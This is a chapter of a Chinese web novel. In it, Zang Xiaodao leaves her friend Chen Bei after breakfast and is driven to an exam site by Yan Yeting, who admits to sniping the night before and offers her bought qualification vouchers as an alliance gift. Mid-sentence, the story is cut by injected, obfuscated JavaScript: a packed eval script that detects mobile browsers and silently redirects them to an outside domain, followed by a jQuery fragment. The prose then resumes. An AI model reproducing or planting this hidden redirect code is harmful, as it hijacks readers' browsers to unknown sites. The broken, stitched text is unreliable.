陈北有点不好意思，说：“肯定不是很精准的那种，但他们猜测这一次快穿副本的内容跟力量限界一定是卡在身体机制极限+一定古武或者低等术咒类。”


    藏小刀：“古武我可以理解，低等术咒毕竟是咒法类，对正常凡人有穿透性，三大天赋没有觉醒，还未运用的时候，就是要免疫都很难，毕竟天赋值先天超过标准线，溢出不少，进而能免疫基础术法的人凤毛麟角。”


    那类人基本都是继承者出身了，要么就是人中龙魁，先天修仙选手。


    其实她现在的一级读心术就是低等术咒。


    目前应对的几个炼气修士都没抗住，也就刘征抗住了。


    遑论先天免疫的普通人。


    藏小刀这才觉得这种副本设计不合理，就跟利用职权设计她的资格初选一样不公平。


    陈北胃口比藏小刀大得多，已经干完一碗温州糯米饭跟一个煎饼了，还在吃，满嘴咀嚼，语焉不详说：“按校长他们的说法，低等术咒不可能硬来，但会借一些标识器具来释放能力——比如在那个副本里载入黑武士的历史，黑武士能用天地烘炉锻造武器，它需要能量推动，再经过人操控，也就达到了杀伤力，这对于BOSS而言也有操控难度，更给了考生破局开荒的线索，也算是考点跟加分项吧，咱们以前玩的那些《使徒》游戏不都是这样的模式吗？”


    “反正他们也只能推算有这种可能性，让我们开局进去后，万一运气不好遇上的不是好对付的古武副本，而是低术副本，那就要留意里面的关键物品了，应该也不难.....他们还说如果是遇到鬼类的，那更不用担心了，鬼类小副本可比人巫邪修这些好对付多了吗，因为鬼是有致命弱点的，也被克制厉害，而人擅伪装，比鬼更恐怖。”


    这些校长倒也不是纸上谈兵，他们找的人脉——大概率是在静寂一个月中被天庭体系内侧过的那些特殊群体。


    那些人都提前经历过《上古》快穿副本，是有经验的，自然能给建议。


    藏小刀避开了那些学校高层的接触，断掉了这方面的沟通，但她已经从陈北跟田羽他们这得到了不少有效信息，因为他们在学校那边都是第一梯队需要“扶持托举”的希望之星。


    海川这边都如此，那省城或者往上的顶级学府，他们一定得到了更有价值的情报，破译副本更游刃有余。


    藏小刀若有所思：“原来如此，鬼类更好对付，那恐怖片里的《咒怨》这些你喜欢吗？”


    藏小刀一说，陈北：“......”


    他一口炒饭咽不下去了，面无表情盯着藏小刀。


    藏小刀：杀心呢？伤害指数呢？我白毒舌了？


    藏小刀正打算再补一句《寂静岭》这些副本人家喜不喜欢。


    陈北扯开话题，说起他们俩都是瀚海大厦的考点，得准备走了。


    嗯？不是还没吃完，时间也够的，怎么....、


    藏小刀从这人眼珠子里看到了倒映——陈家父母来了。


    原来如此。


    藏小刀也懒得应对这类人，也正要起身结账离开。


    突然。


    跑车声，跑车来。


    在喧闹嘈杂人来人往的巷外一条街边上车道停下。


    缓缓停下，没有卷起多少粉尘。


    它不该出现在这，可确实来了，像是北海壮大的银鳞世界游来了一条危险又漂亮的鲨鱼，来到了逼仄不见日光的丛林，在密密麻麻的老城矮楼贫瘠的光线下，降下车窗。


    路边横刀立马坐着、手里还拿着一根油条的藏小刀：“？”


    握着方向盘的人目光锁定她。


    “吃完了吗？上车。”


    藏小刀没放下油条，反而继续咬了一口，“不问问我是不是另有打算吗？”


    陈北认出言叶庭，摸摸鼻子，“啊，是言同学，我跟小刀约好了一起去考点，我们是一个考点。”


    藏小刀还没说话。


    言叶庭：“非要我告诉这位陈北同学，昨晚他家阁楼上窗户实在是一个很好的狙击点吗？他不知道，他爸妈知道。”


    言外之意是：她花钱买的位置，他爸妈收的钱，甚至对方确定这个狙击手要狙击谁，但还是卖了位置。


    那言叶庭为什么非要选陈北家呢？


    其实那个位置太近了，不利于她自身躲藏，可她还是故意选陈北家。


    就是为了此刻。


    杀人诛心。


    她是清高，但清高败给了她不认可的人，那就会变成高清的争斗欲。


    陈北一愣，脸色都白了几分，盯着言叶庭。


    他知道对方有备而来，而且对自己开启了攻击模式。


    原本他们是极不对等的关系。


    她应不屑对阶下之人进攻。


    可她还是出手了，甚至故意当着藏小刀的面，袒露自己恶劣的谋算跟强烈的进攻性。


    掠夺者，又争又抢。


    藏小刀都察觉到了言叶庭有别于从前的另一种嘴脸：傲下，权势压人，诛心杀敌。


    她挑眉，却意外不说话，只坐在那，继续啃着油条。


    她既然知道言叶庭的位置，怎么会不知道她就在隔壁阁楼，也就是陈家。


    陈家父母在昨晚那些事中的参与，被言叶庭故意试出的恶毒，她会因为陈北的缘故既往不咎？


    不会。


    明明都是没有直接的竞争利益，她也没得罪过对方，人性的幽暗处，还是体现得如此淋漓尽致。


    甚至言叶庭以身入局，让藏小刀也看到了她的幽暗。


    陈北也知道，但他也不放心言叶庭，更有自己的刀锋，站起来，说：“所以，言小姐能掐着这么好的时间点来接小刀去考点，是早就来了，盯着我们吃饭，还是事先安排探子监视小刀呢？”


    言叶庭手指敲着方向盘，“是有探子，但从你们吃饭开始，就是我自己亲自盯着了，在对面街道。”


    “18分钟零32秒，这是我忍耐的极限。”


    “藏小刀，你家的地雷需要做下毛发了，也不是非要交给你的邻居。”


    藏小刀起身了，拍了下陈北肩膀，什么都没说，拎起地上的猫笼子，拉开跑车车门上车。


    所有人，包括陈家父母也只能眼睁睁看着她离开。


    好像一开始就不属于这里一样。


    陈北这才意识到——从藏小刀拎着地雷来巷口吃饭，而非把地雷直接交给自己家，就已经说明问题了。


    她早知道言叶庭要来，因为昨晚就确定后者是狙击手了。


    ——————


    藏小刀不可能再把地雷交给陈家照顾了，哪怕她每次都给足了酬劳或者礼物，在以前，陈家父母也没暴露过多少，一旦暴露了，她可容不下这根刺。


    覆水难收。


    ——————


    地雷也被捞上车，车子走。


    在车上的藏小刀啃完油条最后一截，也瞥见后视镜里的陈北挠着头，被赶来的陈家父母包围。


    他很平静，既没有愤怒对峙自己的父母，也没有顺从对方的添油加醋敌对藏小刀。


    他只是平静接受自己的命运。


    “父母爱子，不管行为对错，他都是受恩惠的人。”


    “他可以坚定选择你，但也不能坚定抛弃甚至对付自己的父母。”


    “时间久了，他会无数次为难他自己，也许更恶劣点，但凡他以后撑不住了，这种责任就会归咎在你身上。”


    “其实就算没有我，你在今天之后也会选择跟他分道扬镳。”


    一手握着方向盘，言叶庭抽出一张纸递给要擦手的藏小刀，藏小刀接了，没有否认言叶庭鞭辟入里的分析，好奇：“那你怎么笃定我不会因为你没经过我同意就掺和而生气呢？”


    “我看着，像是那么容易被人摆弄的？”


    言叶庭：“我不怕你生气。”


    藏小刀挑眉，若有所思。


    言叶庭：“就好像你也不怕我生气一样，其实你明白我为什么愿意为你冒险，投入时间跟金钱，甚至人品。”


    藏小刀：“你猜测我的资质很高，有资格让你在新时代投资。”


    言叶庭：“神明时代来了，人类只是被筛选的阶层，其实对于我们言家来说，看似锦上添花，实则烈火烹油——就算是为了我的家族，我也需要做点什么，何况你以为我用了一年在这小城市读书，就只为收获了省第二的成绩？我又不瞎。”


    612寝室一开始就是她衡量所有后慎重选择的，觉得她们都很好，值得自己交好，后来是因为老是输给藏小刀，从一开始的不甘心，到后面的倔，死磕，认可，追逐，以至于后面因为被骗，才意识到自己不被认可，不被选择。


    确实伤自尊。


    也有胜负欲。


    藏小刀摸摸鼻子：“你跟以前不一样了，或者一开始我对你的判断就是错的。”


    言叶庭开车，用昨晚载着狙击枪的跑车带走了藏小刀，藏小刀一看到这车就察觉这人又是故意的。


    她擦完手跟嘴，发现副驾驶坐前面还隔着一份报告袋，上面有非常明确的名字——藏小刀血液报告。


    封口在，没打开，但故意放在那。


    藏小刀最早担心的也是这件事，否则不会主动联系百里无药，又对言叶庭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983802|177220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    充满戒心。


    光是那头猪的后手还不够，万一呢？


    现在看来，对方比她更坦荡。


    “不打开看看，看看我到底是怎么回事？”


    言叶庭：“人总会变，总会有不能对人言的经历，就好像我也不可能告诉你，我家多少资产，又埋了多少人脉，不能说就是不能说。”


    “我只要确定你不是恐怖存在就行。”


    藏小刀明知故问：“你不看资料怎么确定？”


    她要看看这姑娘能有多坦荡。


    探子可以明摆着，对陈北的进攻也是明着来，帮她也帮陈北选择。


    那她自己呢？


    言叶庭顿了下，慢悠悠说：“恐怖存在需要吸收人类精血壮大自身，我再谦虚，也会承认还算有点优质血肉，你若是恐怖存在，这都不吃我，我多多少少要伤自尊的。”


    她家肯定有设备或者人脉，再不济也找了黄金沙场这些机构测算过她的底子，可不像初来乍到又贫农出身的藏小刀对这些一无所知。


    自尊这事儿，藏小刀又被梗了，讪讪不语，也始终没解释当年为什么骗了人家。


    “反正，我确实能对你许诺：我绝对是清白的，不是什么恐怖存在，也干不出什么丧尽天良，违法乱纪的事。”


    她认真，坦诚，正直无畏，一如当年。


    言叶庭信了，“嗯，其实我也只是这次用了点特殊手段，平常我不这样，也是没办法了，和平年代，我用平和的方法尚且不能得到某些人的认可，那在生死有命富贵在天的特殊时代，我需要确定可信的盟友，因为进入仙门后，里面会有各种关乎资源争夺与分配的洞府试炼乃至仙门大比，这么多年，我看来看去，也只有一个你。”


    “因为前面你没有倾向我的迹象，那我就得用些不合法更不道德的方法了，你能理解我吗？小刀同学。”


    “抽屉里面还有早餐，吃吗？”


    藏小刀：“我吃过了啊，你不是看见了，你的行为不值得提倡，我肯定也是生....”


    她嘴上这么说，还是打开抽屉准备拿吃的，但看到早餐袋子里还有东西。


    资格初选凭证，20枚。


    藏小刀看向言叶庭，后者轻描淡写：“这是赔礼，但你放心，是正常收购、对方心甘情愿贩卖的凭证，因为很多人哪怕在初选里面获得了不少于一枚的凭证，自认为洗不出多高阀度的天赋，或者有些人权衡利弊，觉得用多余的凭证变现出来的钱财比洗资质后未知的优势之前，能改善当前生活或者临时的困境，他们乐于交易。”


    “下面有交易的公证记录，经得起司法检验。”


    考试后那位刘征麾下的主考官包含祸心提及的“买卖”，果然是经过明路的，官方并不禁止，当然，若非必要跟“穷”，正常人绝对不愿意卖它。


    “所以，还生气吗？”


    藏小刀默默拿了早餐跟凭证，慢吞吞说：“容我说完后面的话——我肯定也是生气，但也默默暗喜。”


    “谁不是在时代变革中挣扎求生呢，强取豪夺我也喜欢啊，其实我也在欲擒故纵。”


    “你竟然没发现，那一定是我表现得不够明显，是我的错。”


    “你可千万别生气。”


    “如果真生气了，哄你是另外的价钱。”


    言叶庭：“.....”


    藏小刀果然变了，但没人说过国家保密机构精心培训过的风格是这样的。


    27149：“......”


    很体面了，两位同桌。


    这俩应该算是缔结某种盟约了。


    一个身在豪门，但需要筛选资质过硬的盟友稳固即将进入的仙门体系，万一副本还是仙门里面的洞府试炼，知根知底的可信一些。


    一个身在草莽，但需要豪门出身的同桌在前期庇护一二，就如昨晚。


    确实是一门好买卖。


    而且藏小刀的凭证已经有56枚了。


    这是好事。


    在不公平的世界里取得了相对公平。


    但言叶庭也提醒了她——上面那一批人得到的凭证只会更多，最大限度高频率洗他们的资质，只要三角天赋足够，他们的成绩就能拉满顶格。


    藏小刀至今也不确定自己的三角天赋能用多少凭证洗到顶。


    她毕竟是祖辈十八代凡人出身，也许56枚都多余了。


    “前面要到了。”


    “看，张家的。”


    言叶庭忽提醒道，副驾驶座的藏小刀已经吃了一大半面包，最后一口慢条斯理咽下了。


    “看到了。”


    “真是父子情深。”